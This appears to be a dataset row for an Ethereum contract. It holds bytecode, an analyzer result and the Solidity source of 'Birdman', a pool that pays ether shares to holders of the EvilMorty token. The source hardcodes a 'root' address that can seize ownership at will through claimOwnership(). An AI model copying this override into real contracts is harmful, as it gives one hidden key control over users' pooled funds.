0x608060405234801561001057600080fd5b50600436106100b45760003560e01c8063986502751161007157806398650275146102085780639dc29fac14610210578063aa271e1a1461023c578063c1af1cb814610262578063ec126c771461026a578063f2fde38b1461029c576100b4565b806340c10f19146100b9578063628d6cba146100f9578063715018a6146101255780638da5cb5b1461012f5780638f4ffcb114610153578063983b2d56146101e2575b600080fd5b6100e5600480360360408110156100cf57600080fd5b506001600160a01b0381351690602001356102c2565b604080519115158252519081900360200190f35b6100e56004803603604081101561010f57600080fd5b50803590602001356001600160a01b031661039a565b61012d6104ab565b005b61013761055f565b604080516001600160a01b039092168252519081900360200190f35b61012d6004803603608081101561016957600080fd5b6001600160a01b0382358116926020810135926040820135909216918101906080810160608201356401000000008111156101a357600080fd5b8201836020820111156101b557600080fd5b803590602001918460018302840111640100000000831117156101d757600080fd5b50909250905061056e565b61012d600480360360208110156101f857600080fd5b50356001600160a01b031661077a565b61012d6107f0565b6100e56004803603604081101561022657600080fd5b506001600160a01b038135169060200135610802565b6100e56004803603602081101561025257600080fd5b50356001600160a01b031661091b565b610137610934565b6100e56004803603606081101561028057600080fd5b508035906001600160a01b036020820135169060400135610943565b61012d600480360360208110156102b257600080fd5b50356001600160a01b0316610a57565b60006102d46102cf610b62565b61091b565b61030f5760405162461bcd60e51b8152600401808060200182810382526030815260200180610d736030913960400191505060405180910390fd5b609854604080516340c10f1960e01b81526001600160a01b03868116600483015260248201869052915191909216916340c10f199160448083019260209291908290030181600087803b15801561036557600080fd5b505af1158015610379573d6000803e3d6000fd5b505050506040513d602081101561038f57600080fd5b506001949350505050565b60006001600160a01b0382166103f7576040805162461bcd60e51b815260206004820152601c60248201527f5374727564656c577261707065723a2061646472657373283078302900000000604482015290519081900360640190fd5b6098546040805163079cc67960e41b81523360048201526024810186905290516001600160a01b03909216916379cc67909160448082019260009290919082900301818387803b15801561044a57600080fd5b505af115801561045e573d6000803e3d6000fd5b50506040805186815290516001600160a01b03861693503392507f6b616089d04950dc06c45c6dd787d657980543f89651aec47924752c7d16c8889181900360200190a350600192915050565b6104b3610b62565b6065546001600160a01b03908116911614610515576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6065546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3606580546001600160a01b0319169055565b6065546001600160a01b031690565b6098546001600160a01b031633146105c8576040805162461bcd60e51b81526020600482015260186024820152770a6e8e4eac8cad8aee4c2e0e0cae47440dedcd8f282eae8d60431b604482015290519081900360640190fd5b6098546001600160a01b03848116911614610625576040805162461bcd60e51b81526020600482015260186024820152770a6e8e4eac8cad8aee4c2e0e0cae47440dedcd8f282eae8d60431b604482015290519081900360640190fd5b600061066683838080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250610b6692505050565b90506001600160a01b0381166106c3576040805162461bcd60e51b815260206004820152601c60248201527f5374727564656c577261707065723a2061646472657373283078302900000000604482015290519081900360640190fd5b6098546040805163079cc67960e41b81526001600160a01b03898116600483015260248201899052915191909216916379cc679091604480830192600092919082900301818387803b15801561071857600080fd5b505af115801561072c573d6000803e3d6000fd5b50506040805188815290516001600160a01b0380861694508a1692507f6b616089d04950dc06c45c6dd787d657980543f89651aec47924752c7d16c8889181900360200190a3505050505050565b610782610b62565b6065546001600160a01b039081169116146107e4576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6107ed81610b6d565b50565b6108006107fb610b62565b610bb5565b565b600061080f6102cf610b62565b61084a5760405162461bcd60e51b8152600401808060200182810382526030815260200180610d736030913960400191505060405180910390fd5b6001600160a01b0383166108a5576040805162461bcd60e51b815260206004820152601c60248201527f5374727564656c577261707065723a2061646472657373283078302900000000604482015290519081900360640190fd5b6098546040805163079cc67960e41b81526001600160a01b03868116600483015260248201869052915191909216916379cc679091604480830192600092919082900301818387803b1580156108fa57600080fd5b505af115801561090e573d6000803e3d6000fd5b5060019695505050505050565b600061092e60978363ffffffff610bfd16565b92915050565b6098546001600160a01b031681565b60006109506102cf610b62565b61098b5760405162461bcd60e51b8152600401808060200182810382526030815260200180610d736030913960400191505060405180910390fd5b609854604080516340c10f1960e01b81526001600160a01b03868116600483015260248201869052915191909216916340c10f199160448083019260209291908290030181600087803b1580156109e157600080fd5b505af11580156109f5573d6000803e3d6000fd5b505050506040513d6020811015610a0b57600080fd5b50506040805183815290516001600160a01b0385169186917f05d0634fe981be85c22e2942a880821b70095d84e152c3ea3c17a4e4250d9d619181900360200190a35060019392505050565b610a5f610b62565b6065546001600160a01b03908116911614610ac1576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b038116610b065760405162461bcd60e51b8152600401808060200182810382526026815260200180610d4d6026913960400191505060405180910390fd5b6065546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3606580546001600160a01b0319166001600160a01b0392909216919091179055565b3390565b6014015190565b610b7e60978263ffffffff610c6416565b6040516001600160a01b038216907f6ae172837ea30b801fbfcdd4108aa1d5bf8ff775444fd70256b44e6bf3dfc3f690600090a250565b610bc660978263ffffffff610ce516565b6040516001600160a01b038216907fe94479a9f7e1952cc78f2d6baab678adc1b772d936c6583def489e524cb6669290600090a250565b60006001600160a01b038216610c445760405162461bcd60e51b8152600401808060200182810382526022815260200180610dc46022913960400191505060405180910390fd5b506001600160a01b03166000908152602091909152604090205460ff1690565b610c6e8282610bfd565b15610cc0576040805162461bcd60e51b815260206004820152601f60248201527f526f6c65733a206163636f756e7420616c72656164792068617320726f6c6500604482015290519081900360640190fd5b6001600160a01b0316600090815260209190915260409020805460ff19166001179055565b610cef8282610bfd565b610d2a5760405162461bcd60e51b8152600401808060200182810382526021815260200180610da36021913960400191505060405180910390fd5b6001600160a01b0316600090815260209190915260409020805460ff1916905556fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734d696e746572526f6c653a2063616c6c657220646f6573206e6f74206861766520746865204d696e74657220726f6c65526f6c65733a206163636f756e7420646f6573206e6f74206861766520726f6c65526f6c65733a206163636f756e7420697320746865207a65726f2061646472657373a2646970667358221220de4b3dd6f37d0e8bf7fefc90eff5d665885ac0bd43b0297433330aa07951b87664736f6c63430006060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 2,469 |
0x3a3c995ecc24d6605ecc41548ecfec6467ad611b
|
/**
* ▒█▀▀█ ░▀░ █▀▀█ █▀▀▄ █▀▄▀█ █▀▀█ █▀▀▄
* ▒█▀▀▄ ▀█▀ █▄▄▀ █░░█ █░▀░█ █▄▄█ █░░█
* ▒█▄▄█ ▀▀▀ ▀░▀▀ ▀▀▀░ ▀░░░▀ ▀░░▀ ▀░░▀
*
* Birdman helps grow the Microverse community,
* which is considered the premature version of Mutual Constructor.
*/
pragma solidity ^0.4.23;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title AdminUtils
* @dev customized admin control panel
* @dev just want to keep everything safe
*/
contract AdminUtils is Ownable {
mapping (address => uint256) adminContracts;
address internal root;
/* modifiers */
modifier OnlyContract() {
require(isSuperContract(msg.sender));
_;
}
modifier OwnerOrContract() {
require(msg.sender == owner || isSuperContract(msg.sender));
_;
}
modifier onlyRoot() {
require(msg.sender == root);
_;
}
/* constructor */
constructor() public {
// This is a safe key stored offline
root = 0xe07faf5B0e91007183b76F37AC54d38f90111D40;
}
/**
* @dev this is the kickass idea from @dan
* and well we will see how it works
*/
function claimOwnership()
external
onlyRoot
returns (bool) {
owner = root;
return true;
}
/**
* @dev function to address a super contract address
* some functions are meant to be called from another contract
* but not from any contracts
* @param _address A contract address
*/
function addContractAddress(address _address)
public
onlyOwner
returns (bool) {
uint256 codeLength;
assembly {
codeLength := extcodesize(_address)
}
if (codeLength == 0) {
return false;
}
adminContracts[_address] = 1;
return true;
}
/**
* @dev remove the contract address as a super user role
* have it here just in case
* @param _address A contract address
*/
function removeContractAddress(address _address)
public
onlyOwner
returns (bool) {
uint256 codeLength;
assembly {
codeLength := extcodesize(_address)
}
if (codeLength == 0) {
return false;
}
adminContracts[_address] = 0;
return true;
}
/**
* @dev check contract eligibility
* @param _address A contract address
*/
function isSuperContract(address _address)
public
view
returns (bool) {
uint256 codeLength;
assembly {
codeLength := extcodesize(_address)
}
if (codeLength == 0) {
return false;
}
if (adminContracts[_address] == 1) {
return true;
} else {
return false;
}
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Contract that will work with ERC223 tokens.
*/
contract ERC223ReceivingContract {
/**
* @dev Standard ERC223 function that will handle incoming token transfers.
*
* @param _from Token sender address.
* @param _value Amount of tokens.
* @param _data Transaction metadata.
*/
function tokenFallback(address _from, uint _value, bytes _data) public;
}
/**
* @title EvilMortyTokenInterface
*/
contract EvilMortyTokenInterface {
/**
* @dev Check balance of a given address
* @param sender address
*/
function balanceOf(address sender) public view returns (uint256);
}
/**
* @title Birdman
*/
contract Birdman is AdminUtils, ERC223ReceivingContract {
using SafeMath for uint256;
event MCApplied(address sender);
event MCAdded(address sender);
event MCRemoved(address sender);
event ShareSent(address indexed receiver, uint256 value);
event SystemChangeValidMCAmount(uint256 oldValue, uint256 newValue);
event SystemChangeMaxNumMC(uint256 oldValue, uint256 newValue);
event SystemChangeShareTimeGap(uint256 oldValue, uint256 newValue);
event SystemChangeVettingTime(uint256 oldValue, uint256 newValue);
EvilMortyTokenInterface internal EvilMortyInstance;
uint256 public validMCAmount = 5000000e18;
uint256 public maxNumMC = 20;
uint256 public vettingTime = 86400; // in block height, roughly 15 days
uint256 public shareTimeGap = 86400; // in block height, roughly 15 days
uint256 public numMC;
uint256 public numMCApplied;
uint256 public nextShareTime = 6213990; // around UTC 01:00, 8/26/2018
uint256 public weiAmountShare;
mapping (uint256 => MC) constructors;
mapping (address => uint256) addressToIndex;
struct MC {
address playerAddress;
uint256 timeSince;
uint256 nextSharedSentTime;
bool passed;
}
uint256[] emptyIndexes;
modifier isValidMC() {
require (EvilMortyInstance.balanceOf(msg.sender) >= validMCAmount);
_;
}
modifier canAddMC() {
require (numMCApplied < maxNumMC);
// make sure no one cheats
require (addressToIndex[msg.sender] == 0);
_;
}
modifier isEvilMortyToken() {
require(msg.sender == address(EvilMortyInstance));
_;
}
/* constructor */
constructor(address EvilMortyAddress)
public {
EvilMortyInstance = EvilMortyTokenInterface(EvilMortyAddress);
}
/**
* @dev Allow funds to be sent to this contract
* if the sender is the owner or a super contract
* then it will do nothing
*/
function ()
public
payable {
if (msg.sender == owner || isSuperContract(msg.sender)) {
return;
}
applyMC();
}
/**
* @dev Allow morty token to be sent to this contract
* if the sender is the owner it will do nothing
*/
function tokenFallback(address _from, uint256 _value, bytes)
public
isEvilMortyToken {
if (_from == owner) {
return;
}
claimShare(addressToIndex[_from]);
}
/**
* @dev Apply for becoming a MC
*/
function applyMC()
public
payable
canAddMC {
require (EvilMortyInstance.balanceOf(msg.sender) >= validMCAmount);
numMCApplied = numMCApplied.add(1);
uint256 newIndex = numMCApplied;
if (emptyIndexes.length > 0) {
newIndex = emptyIndexes[emptyIndexes.length-1];
delete emptyIndexes[emptyIndexes.length-1];
emptyIndexes.length--;
}
constructors[newIndex] = MC({
playerAddress: msg.sender,
timeSince: block.number.add(vettingTime),
nextSharedSentTime: nextShareTime,
passed: false
});
addressToIndex[msg.sender] = newIndex;
emit MCApplied(msg.sender);
}
/**
* @dev Get a MC's info given index
* @param _index the MC's index
*/
function getMC(uint256 _index)
public
view
returns (address, uint256, uint256, bool) {
MC storage mc = constructors[_index];
return (
mc.playerAddress,
mc.timeSince,
mc.nextSharedSentTime,
mc.passed
);
}
/**
* @dev Get number of empty indexes
*/
function numEmptyIndexes()
public
view
returns (uint256) {
return emptyIndexes.length;
}
/**
* @dev Get the MC index given address
* @param _address MC's address
*/
function getIndex(address _address)
public
view
returns (uint256) {
return addressToIndex[_address];
}
/**
* @dev Update all MC's status
*/
function updateMCs()
public {
if (numMCApplied == 0) {
return;
}
for (uint256 i = 0; i < maxNumMC; i ++) {
updateMC(i);
}
}
/**
* @dev Update a MC's status, if
* - the MC's balance is below min requirement, it will be deleted;
* - the MC's vetting time is passed, it will be added
* @param _index the MC's index
*/
function updateMC(uint256 _index)
public {
MC storage mc = constructors[_index];
// skip empty index
if (mc.playerAddress == 0) {
return;
}
if (EvilMortyInstance.balanceOf(mc.playerAddress) < validMCAmount) {
// remove MC
numMCApplied = numMCApplied.sub(1);
if (mc.passed == true) {
numMC = numMC.sub(1);
}
emptyIndexes.push(_index);
emit MCRemoved(mc.playerAddress);
delete addressToIndex[mc.playerAddress];
delete constructors[_index];
return;
}
if (mc.passed == false && mc.timeSince < block.number) {
mc.passed = true;
numMC = numMC.add(1);
emit MCAdded(mc.playerAddress);
return;
}
}
/**
* @dev Update funds to be sent in this shares period
*/
function updateWeiAmountShare()
public {
if (numMC == 0) {
return;
}
if (nextShareTime < block.number) {
weiAmountShare = address(this).balance.div(numMC);
// make height accurate
uint256 timeGap = block.number.sub(nextShareTime);
uint256 gap = timeGap.div(shareTimeGap).add(1);
nextShareTime = nextShareTime.add(shareTimeGap.mul(gap));
}
}
/**
* @dev Ask for funds for a MC
* @param _index the Mc's index
*/
function claimShare(uint256 _index)
public {
// need update all MCs first
updateMCs();
MC storage mc = constructors[_index];
// skip empty index
if (mc.playerAddress == 0) {
return;
}
if (mc.passed == false) {
return;
}
if (mc.nextSharedSentTime < block.number) {
// update next share time
updateWeiAmountShare();
mc.nextSharedSentTime = nextShareTime;
// every mc gets equal share
mc.playerAddress.transfer(weiAmountShare);
emit ShareSent(mc.playerAddress, weiAmountShare);
}
}
/**
* @dev Upgrade evil morty
* in case of upgrade needed
*/
function upgradeEvilMorty(address _address)
external
onlyOwner {
uint256 codeLength;
assembly {
codeLength := extcodesize(_address)
}
if (codeLength == 0) {
return;
}
EvilMortyInstance = EvilMortyTokenInterface(_address);
}
/**
* @dev Update min requirement for being a MC
* a system event is emitted to capture the change
* @param _amount new amount
*/
function updateValidMCAmount(uint256 _amount)
external
onlyOwner {
emit SystemChangeValidMCAmount(validMCAmount, _amount);
validMCAmount = _amount;
}
/**
* @dev Update max number of MCs
* a system event is emitted to capture the change
*/
function updateMaxNumMC(uint256 _num)
external
onlyOwner {
emit SystemChangeMaxNumMC(maxNumMC, _num);
maxNumMC = _num;
}
/**
* @dev Update the length of a share period
* a system event is emitted to capture the change
* @param _height bloch heights
*/
function updateShareTimeGap(uint256 _height)
external
onlyOwner {
emit SystemChangeShareTimeGap(shareTimeGap, _height);
shareTimeGap = _height;
}
/**
* @dev Update the length of vetting time
* a system event is emitted to capture the change
* @param _height bloch heights
*/
function updateVettingTime(uint256 _height)
external
onlyOwner {
emit SystemChangeVettingTime(vettingTime, _height);
vettingTime = _height;
}
}
|
0x608060405260043610610175576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630bd93738146101ea5780630cc03e7a1461021757806310cbe445146102445780631b998dac1461024e5780631dc9186a146102655780632653ab191461027c57806331b5da2a146103025780634e71e0c81461032d57806352476ceb1461035c5780636c797bfd14610387578063715018a6146103e257806376917b68146103f95780638da5cb5b146104265780639655943e1461047d578063976a0b82146104a8578063b11ce2db146104d3578063b1d0073b1461052e578063b31610db1461055b578063bc414e7b146105b2578063bea8bd27146105f5578063c0ee0b8a14610622578063cb950c37146106b5578063e0f426fa146106e2578063e3688d7a1461070d578063eb52835b14610738578063f2fde38b14610763578063f396cd66146107a6578063f897ae8c146107d1578063fcf3952f146107fc575b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806101d557506101d433610857565b5b156101df576101e8565b6101e76108cb565b5b005b3480156101f657600080fd5b5061021560048036038101908080359060200190929190505050610c50565b005b34801561022357600080fd5b5061024260048036038101908080359060200190929190505050610cf6565b005b61024c6108cb565b005b34801561025a57600080fd5b50610263610e86565b005b34801561027157600080fd5b5061027a610ec0565b005b34801561028857600080fd5b506102a760048036038101908080359060200190929190505050610f85565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018381526020018215151515815260200194505050505060405180910390f35b34801561030e57600080fd5b50610317610ff3565b6040518082815260200191505060405180910390f35b34801561033957600080fd5b50610342610ff9565b604051808215151515815260200191505060405180910390f35b34801561036857600080fd5b506103716110c0565b6040518082815260200191505060405180910390f35b34801561039357600080fd5b506103c8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110c6565b604051808215151515815260200191505060405180910390f35b3480156103ee57600080fd5b506103f761118a565b005b34801561040557600080fd5b506104246004803603810190808035906020019092919050505061128c565b005b34801561043257600080fd5b5061043b6116de565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561048957600080fd5b50610492611703565b6040518082815260200191505060405180910390f35b3480156104b457600080fd5b506104bd611709565b6040518082815260200191505060405180910390f35b3480156104df57600080fd5b50610514600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061170f565b604051808215151515815260200191505060405180910390f35b34801561053a57600080fd5b50610559600480360381019080803590602001909291905050506117d2565b005b34801561056757600080fd5b5061059c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611878565b6040518082815260200191505060405180910390f35b3480156105be57600080fd5b506105f3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118c1565b005b34801561060157600080fd5b5061062060048036038101908080359060200190929190505050611976565b005b34801561062e57600080fd5b506106b3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611a1c565b005b3480156106c157600080fd5b506106e060048036038101908080359060200190929190505050611b20565b005b3480156106ee57600080fd5b506106f7611bc6565b6040518082815260200191505060405180910390f35b34801561071957600080fd5b50610722611bcc565b6040518082815260200191505060405180910390f35b34801561074457600080fd5b5061074d611bd2565b6040518082815260200191505060405180910390f35b34801561076f57600080fd5b506107a4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611bd8565b005b3480156107b257600080fd5b506107bb611c3f565b6040518082815260200191505060405180910390f35b3480156107dd57600080fd5b506107e6611c45565b6040518082815260200191505060405180910390f35b34801561080857600080fd5b5061083d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610857565b604051808215151515815260200191505060405180910390f35b600080823b9050600081141561087057600091506108c5565b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156108c057600191506108c5565b600091505b50919050565b60006005546009541015156108df57600080fd5b6000600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414151561092d57600080fd5b600454600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156109ed57600080fd5b505af1158015610a01573d6000803e3d6000fd5b505050506040513d6020811015610a1757600080fd5b810190808051906020019092919050505010151515610a3557600080fd5b610a4b6001600954611c5290919063ffffffff16565b60098190555060095490506000600e805490501115610ac457600e6001600e8054905003815481101515610a7b57fe5b90600052602060002001549050600e6001600e8054905003815481101515610a9f57fe5b9060005260206000200160009055600e805480919060019003610ac29190611dcf565b505b6080604051908101604052803373ffffffffffffffffffffffffffffffffffffffff168152602001610b0160065443611c5290919063ffffffff16565b8152602001600a54815260200160001515815250600c600083815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101556040820151816002015560608201518160030160006101000a81548160ff02191690831515021790555090505080600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fc0dc15c3367eece445ec0d753804ecc8d9547976a19a486482366f59f89a425c33604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cab57600080fd5b7f1e7ea6ef4f98d2f58c093efbbaca8e1211f580c06440e6c4c8a20bee5f386aac60075482604051808381526020018281526020019250505060405180910390a18060078190555050565b6000610d00610e86565b600c6000838152602001908152602001600020905060008160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610d5d57610e82565b600015158160030160009054906101000a900460ff1615151415610d8057610e82565b4381600201541015610e8157610d94610ec0565b600a5481600201819055508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc600b549081150290604051600060405180830381858888f19350505050158015610e0b573d6000803e3d6000fd5b508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f57c9bc91ac51699276b9241e0fbab76ea32bec8cec110ec85f611e1d344860d2600b546040518082815260200191505060405180910390a25b5b5050565b6000806009541415610e9757610ebd565b600090505b600554811015610ebc57610eaf8161128c565b8080600101915050610e9c565b5b50565b60008060006008541415610ed357610f81565b43600a541015610f8057610f096008543073ffffffffffffffffffffffffffffffffffffffff1631611c6e90919063ffffffff16565b600b81905550610f24600a5443611c8490919063ffffffff16565b9150610f4e6001610f4060075485611c6e90919063ffffffff16565b611c5290919063ffffffff16565b9050610f79610f6882600754611c9d90919063ffffffff16565b600a54611c5290919063ffffffff16565b600a819055505b5b5050565b6000806000806000600c600087815260200190815260200160002090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16816001015482600201548360030160009054906101000a900460ff169450945094509450509193509193565b60085481565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561105757600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001905090565b60075481565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561112457600080fd5b823b9050600081141561113a5760009150611184565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600191505b50919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111e557600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a260008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600c6000838152602001908152602001600020905060008160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156112eb576116da565b600454600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a082318360000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156113cf57600080fd5b505af11580156113e3573d6000803e3d6000fd5b505050506040513d60208110156113f957600080fd5b810190808051906020019092919050505010156115e7576114266001600954611c8490919063ffffffff16565b600981905550600115158160030160009054906101000a900460ff1615151415611467576114606001600854611c8490919063ffffffff16565b6008819055505b600e8290806001815401808255809150509060018203906000526020600020016000909192909190915055507f6b90eb85c11dd942784ad10b5739b81fa4fa633eb2b987bd1bebe1e644d289008160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1600d60008260000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009055600c6000838152602001908152602001600020600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055600182016000905560028201600090556003820160006101000a81549060ff021916905550506116da565b600015158160030160009054906101000a900460ff16151514801561160f5750438160010154105b156116d95760018160030160006101000a81548160ff0219169083151502179055506116476001600854611c5290919063ffffffff16565b6008819055507f9decc1f62ed4c8a3b70dfd51a0504ab7303e6eea3c9e8512af4c38c583a33b5a8160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a16116da565b5b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60045481565b60065481565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561176d57600080fd5b823b9050600081141561178357600091506117cc565b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600191505b50919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561182d57600080fd5b7f41ca9b8e071cc59e920fd3ff927404b5e80a4a4f9f61613ea7e942803b5849a560055482604051808381526020018281526020019250505060405180910390a18060058190555050565b6000600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561191e57600080fd5b813b9050600081141561193057611972565b81600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119d157600080fd5b7f15918f4289cd396b0fbfbd0012234db52a110c7254eba34cd2c2e9c547e8428660065482604051808381526020018281526020019250505060405180910390a18060068190555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a7857600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ad257611b1b565b611b1a600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610cf6565b5b505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373f